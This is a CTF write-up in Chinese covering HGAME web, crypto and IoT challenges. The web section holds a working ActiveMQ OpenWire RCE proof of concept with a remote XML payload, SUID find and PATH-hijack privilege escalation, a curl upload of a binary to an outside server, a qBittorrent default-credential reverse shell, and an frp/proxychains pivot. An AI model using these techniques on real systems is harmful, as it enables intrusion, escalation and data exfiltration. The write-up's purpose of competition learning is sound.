有3个web题没做出来,环境关了,搭好环境复现后再把wp补充到这里。

web

Reverse and Escalation.

先是登录,抓一个登录包,发现一个Authorization: Basic YWRtaW46YWRtaW4=,解码后发现是刚刚输入的用户名和密码,bp爆破登录一下。

爆破出admin:admin,登录后可以知道这是ActiveMQ

参考链接:Apache-ActiveMQ-RCE

ActiveMQ.java

package org.vidar;

import java.io.*;
import java.net.Socket;

public class ActiveMQ {
public static void main(final String[] args) throws Exception {
System.out.println("[*] Poc for ActiveMQ openwire protocol rce");
String ip = "47.102.184.100";
int port = 31980;
String pocxml= "http://xxxx:xxx/poc.xml";
Socket sck = new Socket(ip, port);
OutputStream os = sck.getOutputStream();
DataOutputStream out = new DataOutputStream(os);
out.writeInt(0); //无所谓
out.writeByte(31); //dataType ExceptionResponseMarshaller
out.writeInt(1); //CommandId
out.writeBoolean(true); //ResponseRequired
out.writeInt(1); //CorrelationId
out.writeBoolean(true);
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
//use true -> red utf-8 string
out.writeBoolean(true);
out.writeUTF(pocxml);
//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
out.close();
os.close();
sck.close();
System.out.println("[*] Target\t" + ip + ":" + port);
System.out.println("[*] XML address\t" + pocxml);
System.out.println("[*] Payload send success.");
}
}

poc.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>ping</value>
<value>kbqsag.ceye.io</value>
</list>
</constructor-arg>
</bean>
</beans>

反弹shell后,发现/flag没有权限查看,需要提权。

先用find命令查看有SUID权限的程序,发现find有这个权限

find / -perm -4000 2>/dev/null

用find命令提权查看flag。

find `which find` -exec cat /flag \;

Reverse and Escalation.II

和上一题一样是ActiveMQ,同样先反弹shell。

同样先用find查看有SUID权限的应用,发现find有问题。

把find上传出来,分析一下,上传的方法是先在自己服务器写一个上传的路径,然后用curl -F把文件上传到自己的服务器。

参考:

curl -F "pic=/usr/bin/find" http://xxx:xxx/upload_file.php

ida分析find,发现find被改了

分析发现,这个程序需要我们做38道加法题,做完后就以uid=0的状态执行ls

先做题,随机数种子取的是当前时间,我选择写一个c来生成命令,再用system来执行find

脚本:

#include<stdlib.h>
#include<time.h>

char* itoa(int val, int base){
static char buf[32] = {0};
int i = 30;
for(; val && i ; --i, val /= base)
buf[i] = "0123456789abcdef"[val % base];
return &buf[i+1];
}
int main()
{
int v3 = time(0);
srand(v3);
char cmd[1000]="find ";
int cnt = 5;
for(int i=0;i<39;i++)
{
int v7 = rand() % 23333;
int v6 = rand() % 23333;
int res = v7+v6;
//printf("%d\n",res);
char *res_chars;
res_chars = itoa (res,10);
for(int i=0;res_chars[i];i++)
{
cmd[cnt]=res_chars[i];
cnt++;
}
cmd[cnt++]=' ';

}
system(cmd);
}

接着是静态编译,不然上传后运行不了

gcc new.c -o new -static

服务器有wget,可以把文件放到自己服务器上再用wget下载下来。

下载完后给上执行权限

chmod 777 new

执行new,可以看到能执行到ls了。

接着是搞定这个ls,我们写一个执行其他命令的shell脚本,脚本名字就叫做ls,并给上执行权限

echo "cat /flag" > ls
chmod 777 ls

接着修改环境变量,把自己写的ls脚本路径放在PATH的最前面。当系统调用ls时,会按照PATH文件夹的顺序遍历,执行最前面的那一个ls

export PATH="/tmp:$PATH"

再次执行new,即可得到flag。

Whose Home?

flag1

信息收集,可以知道这是一个qBittorrent Web UI,搜索漏洞,可以知道有一个CVE-2023-30801

参考链接:qBittorrent Web UI 默认凭据导致 RCE (CVE-2023-30801)

默认密码登录

username: admin
password: adminadmin

登陆后,在设置里放上反弹shell的payload,中文可以自己调。

找一个torrent文件,单击上传,上传成功后即可反弹shell。

用find命令查看哪些程序有 SUID 权限

find / -perm -4000 2>/dev/null

iconv/flag即可得到flag1。

iconv /flag

flag2(复现)

平台关掉了环境,这里也就只能简单说一下步骤。

在flag1的时候已经可以反弹shell了,然后就开始扫内网,机器自带了wget,所以我们可以用wget下载工具。

fscan 扫内网可以扫到100.64.43.4有 22 和 6800 存活。

6800端口在搜索引擎上搜可以知道是aria2的开放端口,可以用这个端口来下载文件和上传文件(上传文件是一个CVE)。

接着是信息收集,在根目录的/config文件夹的配置文件里面,可以找到常用的账号密码

username: hgame
password: Sh3hoVRqMQJAw9D

搭建 frp 做内网穿透,在自己的服务器上运行frps,在靶机服务器上运行frpc

服务器: ./frps -c frps.ini
靶机: ./frpc -c frpc.ini

frps.ini:

[common]
Bind_addr = 0.0.0.0
bind_port = 3348

frpc.ini

[common]
server_addr = xxxxx # 服务器ip
server_port = 3348 # 开放端口,要和frps.ini上的端口对上

[plugin_socks5]
type = tcp
remote_port = 20086 # 映射的端口
plugin = socks5

接着就在kali里,修改/etc/proxychains4.conf

vim /etc/proxychains4.conf

模仿后边的内容添加上你服务器的ip和映射的端口,就完成了内网穿透。

之后就是连接 aria2 下载 authorized_key

得到ssh的登录账号和密码,ssh登录后, cat /flag得到flag了。

crypto

transformation

源码:

#!/usr/bin/env python
# coding: utf-8



from Crypto.Util.number import *
from secret import Curve,gx,gy

# flag = "hgame{" + hex(gx+gy)[2:] + "}"

def ison(C, P):
c, d, p = C
u, v = P
return (u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0

def add(C, P, Q):
c, d, p = C
u1, v1 = P
u2, v2 = Q
assert ison(C, P) and ison(C, Q)
u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
return (int(u3), int(v3))

def mul(C, P, m):
assert ison(C, P)
c, d, p = C
B = bin(m)[2:]
l = len(B)
u, v = P
PP = (-u, v)
O = add(C, P, PP)
Q = O
if m == 0:
return O
elif m == 1:
return P
else:
for _ in range(l-1):
P = add(C, P, P)
m = m - 2**(l-1)
Q, P = P, (u, v)
return add(C, Q, mul(C, P, m))

c, d, p = Curve

G = (gx, gy)
P = (423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125)
assert ison(Curve, P) and ison(Curve, Q) and ison(Curve, G)
e = 0x10001
print(f"eG = {mul(Curve, G, e)}")

# eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)

参考链接:2024 SICTF Round#3出题 crypto misc osint

2024-SICTF-#Round3-wp-crypto

Crypto趣题-曲线

先求出G在 Weierstrass 上的值,再转换回去即可得到原先的G

exp:

求p,d,c^2:

from math import gcd

def happy(C, P):
"""
Verification points are on the curve
"""
c, d, p = C
u, v = P
return (u**2 + v**2 - cc * (1 + d * u**2*v**2)) % p == 0

def a_and_b(u1,u2,v1,v2):
"""
Helper function used to simplify calculations
"""
a12 = u1**2 - u2**2 + v1**2 - v2**2
b12 = u1**2 * v1**2 - u2**2 * v2**2
return a12, b12

def find_modulus(u1,u2,u3,u4,v1,v2,v3,v4):
"""
Compute the modulus from four points
"""
a12, b12 = a_and_b(u1,u2,v1,v2)
a13, b13 = a_and_b(u1,u3,v1,v3)
a23, b23 = a_and_b(u2,u3,v2,v3)
a24, b24 = a_and_b(u2,u4,v2,v4)

p_almost = gcd(a12*b13 - a13*b12, a23*b24 - a24*b23)

for i in range(2,1000):
if p_almost % i == 0:
p_almost = p_almost // i

return p_almost

def c_sq_d(u1,u2,v1,v2,p):
"""
Helper function to computer c^2 d
"""
a1,b1 = a_and_b(u1,u2,v1,v2)
return a1 * pow(b1,-1,p) % p

def c(u1,u2,v1,v2,p):
"""
Compute c^2, d from two points and known modulus
"""
ccd = c_sq_d(u1,u2,v1,v2,p)
cc = (u1**2 + v1**2 - ccd*u1**2*v1**2) % p
d = ccd * pow(cc, -1, p) % p
return cc, d


P = (423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125)


u1, v1 = P
u2, v2 = Q
u3, v3 = S
u4, v4 = T

p = find_modulus(u1,u2,u3,u4,v1,v2,v3,v4)
cc, d = c(u1,u2,v1,v2,p)

C = cc, d, p
assert happy(C, P)
assert happy(C, Q)
assert happy(C, S)
assert happy(C, T)

print(f'Found curve parameters')
print(f'p = {p}')
print(f'c^2 = {cc}')
print(f'd = {d}')

"""
Found curve parameters
p = 67943764351073247630101943221474884302015437788242536572067548198498727238923
c^2 = 12908728488299650872377430201970332178171657588185291326485782119189255844928
d = 8779982120820562807260290996171144226614358666469579196351820160975526615300
"""

求G:

# sage
#part1 get c2、d
P = (423323064726997230640834352892499067628999846, 44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (1033433758780986378718784935633168786654735170, 2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823, 51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133, 64560350111660175566171189050923672010957086249856725096266944042789987443125)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113, 65008030741966083441937593781739493959677657609550411222052299176801418887407)

p = 67943764351073247630101943221474884302015437788242536572067548198498727238923
c2 = 12908728488299650872377430201970332178171657588185291326485782119189255844928
d = 8779982120820562807260290996171144226614358666469579196351820160975526615300
a = 1


PR.<c> = PolynomialRing(Zmod(p))
f = c^2 - c2
#print(f.roots())

c = f.roots()[0][0]
#c = f.roots()[1][0]

#part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)

def edwards_to_ECC(x,y):
x1 = F(x) / F(c)
y1 = F(y) / F(c)
#now curve is a*x^2+y^2 = 1+dd*x^2*y^2

x2 = F(1+y1) / F(1-y1)
y2 = F(x2) / F(x1)
#now curve is By^2 = x^3 + Ax^2 + x

x3 = (F(3*x2) + F(A)) / F(3*B)
y3 = F(y2) / F(B)
#now curve is y^2 = x^3 + ax + b

return (x3,y3)

def ECC_to_edwards(x,y):
x2 = (F(x) * F(3*B) - F(A)) / F(3)
y2 = F(y) * F(B)
#now curve is By^2 = x^3 + Ax^2 + x

x1 = F(x2) / F(y2)
y1 = F(1) - (F(2) / F(x2+1))
#now curve is a*x^2+y^2 = 1+dd*x^2*y^2

x_ = F(x1) * F(c)
y_ = F(y1) * F(c)
#now curve is a*x^2+y^2 = c^2(1+d*x^2*y^2)

return (x_,y_)

E = EllipticCurve(GF(p), [a, b])
P = E(edwards_to_ECC(P[0],P[1]))
Q = E(edwards_to_ECC(Q[0],Q[1]))
C = E(edwards_to_ECC(eG[0],eG[1]))

print(C)

e = 0x10001

import gmpy2

t = gmpy2.invert(e,E.order())

G = C * t

G = ECC_to_edwards(G[0],G[1])
print(G)
# print(hex(G[0]+G[1])[2:])
flag = "hgame{" + hex(G[0]+G[1])[2:] + "}"
print(flag)
"""
(60509997141402220432457672116464144281323849418849996079955274693120169548926 : 64398762792438422614266845264105268512048378462904543894039824596662785909770 : 1)
(10801522842243173004305732551018051267087389767241338575531365181016273121234, 45542712889400624552765069228326432314004665232870865493507801651803120421882)
hgame{7c91b51150e2339628f10c5be61d49bbf9471ef00c9b94bb0473feac06303bcc}
"""

IoT

ez7621

参考链接:提取路由器固件中的squashfs文件系统unsquashfs提取方法

从附件的bin里面提取出文件系统。

先用hexdump查看并定位squashfs的文件头(hsqs)位置

hexdump -C ez7621.bin | grep hsqs

得到结果:

可见hsqs的开始位置是0x002b6442,dd命令是不支持16进制的,先转换为10进制,0x002b6442转为10进制后为2843714,接着可以构建dd命令了。

dd if=ez7621.bin of=ez7621.squashfs skip=1 bs=2843714

这样就得到了ez7621.squashfs文件了,解压squashfs文件需要用到unsquashfs命令

unsquashfs ez7621.squashfs

运行该命令后,会在当前目录生成文件夹squashfs-root,里面就是解压出来的文件系统

接着在这个文件夹下面搜索名字带flag的文件

find squashfs-root -name "*flag*"

ida分析mt7621-flag.ko

取出v0的值,xor 爆破 key,即可得到 flag。